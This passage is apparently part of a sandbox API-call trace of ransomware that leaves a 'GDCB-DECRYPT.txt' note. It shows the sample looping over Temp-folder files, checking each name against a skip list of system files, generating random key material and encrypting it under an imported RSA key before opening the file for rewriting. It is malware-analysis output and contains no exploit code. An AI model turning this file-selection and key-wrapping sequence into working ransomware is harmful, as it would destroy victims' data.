data\\temp\\lhniwsj-20171110-1726.log")) returned 0xffffffff [0170.732] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log", dwFileAttributes=0xfffffffe) returned 0 [0170.732] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.733] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.733] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.733] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.733] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.733] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.733] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.733] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.733] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.733] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0170.735] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f62f0) returned 1 [0170.735] CryptGetKeyParam (in: hKey=0x5f62f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.735] CryptEncrypt (in: hKey=0x5f62f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a30000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2a30000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.735] GetLastError () returned 0x0 [0170.735] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0170.735] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.737] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f68f0) returned 1 [0170.737] CryptGetKeyParam (in: hKey=0x5f68f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.737] CryptEncrypt (in: hKey=0x5f68f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a40000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2a40000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.737] GetLastError () returned 0x0 [0170.737] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.737] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\LHNIWSJ-20171110-1726.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\lhniwsj-20171110-1726.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.738] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps") returned 269 [0170.738] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps") returned 269 [0170.738] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps") returned 269 [0170.738] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps") returned 269 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="desktop.ini") returned 1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="autorun.inf") returned 1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="ntuser.dat") returned -1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="iconcache.db") returned 1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="bootsect.bak") returned 1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="boot.ini") returned 1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="ntuser.dat.log") returned -1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="thumbs.db") returned -1 [0170.738] lstrcmpiW (lpString1="MlXrhRSyH8OOfz222Dl_.pps", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.738] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mlxrhrsyh8oofz222dl_.pps")) returned 0xffffffff [0170.738] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps", dwFileAttributes=0xfffffffe) returned 0 [0170.738] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.739] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.739] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.739] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.739] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.739] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.740] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.740] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.740] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.742] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f64b0) returned 1 [0170.742] CryptGetKeyParam (in: hKey=0x5f64b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.742] CryptEncrypt (in: hKey=0x5f64b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a50000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2a50000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.742] GetLastError () returned 0x0 [0170.742] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.742] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.744] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f64f0) returned 1 [0170.744] CryptGetKeyParam (in: hKey=0x5f64f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.744] CryptEncrypt (in: hKey=0x5f64f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a60000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2a60000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.744] GetLastError () returned 0x0 [0170.744] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.745] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\MlXrhRSyH8OOfz222Dl_.pps" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\mlxrhrsyh8oofz222dl_.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.745] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv") returned 265 [0170.745] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv") returned 265 [0170.745] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv") returned 265 [0170.745] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv") returned 265 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="desktop.ini") returned 1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="autorun.inf") returned 1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="ntuser.dat") returned -1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="iconcache.db") returned 1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="bootsect.bak") returned 1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="boot.ini") returned 1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="ntuser.dat.log") returned -1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="thumbs.db") returned -1 [0170.745] lstrcmpiW (lpString1="NbT tZY4nGK-NKUC.mkv", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.745] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbt tzy4ngk-nkuc.mkv")) returned 0xffffffff [0170.745] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv", dwFileAttributes=0xfffffffe) returned 0 [0170.745] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.746] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.746] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.746] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.746] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.746] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.746] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.746] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.746] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.747] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.748] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f6430) returned 1 [0170.748] CryptGetKeyParam (in: hKey=0x5f6430, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.748] CryptEncrypt (in: hKey=0x5f6430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a70000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2a70000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.749] GetLastError () returned 0x0 [0170.749] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.749] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.750] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f66b0) returned 1 [0170.750] CryptGetKeyParam (in: hKey=0x5f66b0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.751] CryptEncrypt (in: hKey=0x5f66b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a80000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2a80000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.751] GetLastError () returned 0x0 [0170.751] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NbT tZY4nGK-NKUC.mkv" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbt tzy4ngk-nkuc.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.751] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a") returned 267 [0170.751] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a") returned 267 [0170.751] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a") returned 267 [0170.751] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a") returned 267 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="desktop.ini") returned 1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="autorun.inf") returned 1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="ntuser.dat") returned -1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="iconcache.db") returned 1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="bootsect.bak") returned 1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="boot.ini") returned 1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="ntuser.dat.log") returned -1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="thumbs.db") returned -1 [0170.751] lstrcmpiW (lpString1="NBtZJjP_xEPhcceVV8.m4a", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.751] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbtzjjp_xephccevv8.m4a")) returned 0xffffffff [0170.751] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a", dwFileAttributes=0xfffffffe) returned 0 [0170.751] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.752] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.752] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.752] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.752] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.752] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.753] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.753] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.753] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.753] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.755] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f69f0) returned 1 [0170.755] CryptGetKeyParam (in: hKey=0x5f69f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.755] CryptEncrypt (in: hKey=0x5f69f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2a90000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x2a90000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.755] GetLastError () returned 0x0 [0170.755] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.755] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.757] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f67f0) returned 1 [0170.757] CryptGetKeyParam (in: hKey=0x5f67f0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.757] CryptEncrypt (in: hKey=0x5f67f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2aa0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x2aa0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.757] GetLastError () returned 0x0 [0170.757] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.757] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\NBtZJjP_xEPhcceVV8.m4a" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nbtzjjp_xephccevv8.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.757] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx") returned 264 [0170.757] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx") returned 264 [0170.757] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx") returned 264 [0170.757] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx") returned 264 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="desktop.ini") returned 1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="autorun.inf") returned 1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="ntuser.dat") returned -1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="iconcache.db") returned 1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="bootsect.bak") returned 1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="boot.ini") returned 1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="ntuser.dat.log") returned -1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="thumbs.db") returned -1 [0170.757] lstrcmpiW (lpString1="nmK9pn0EeDdRWu.xlsx", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.758] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\nmk9pn0eeddrwu.xlsx")) returned 0xffffffff [0170.758] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\nmK9pn0EeDdRWu.xlsx", dwFileAttributes=0xfffffffe) returned 0 [0170.758] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.758] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.758] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.758] CryptGenRandom (in: 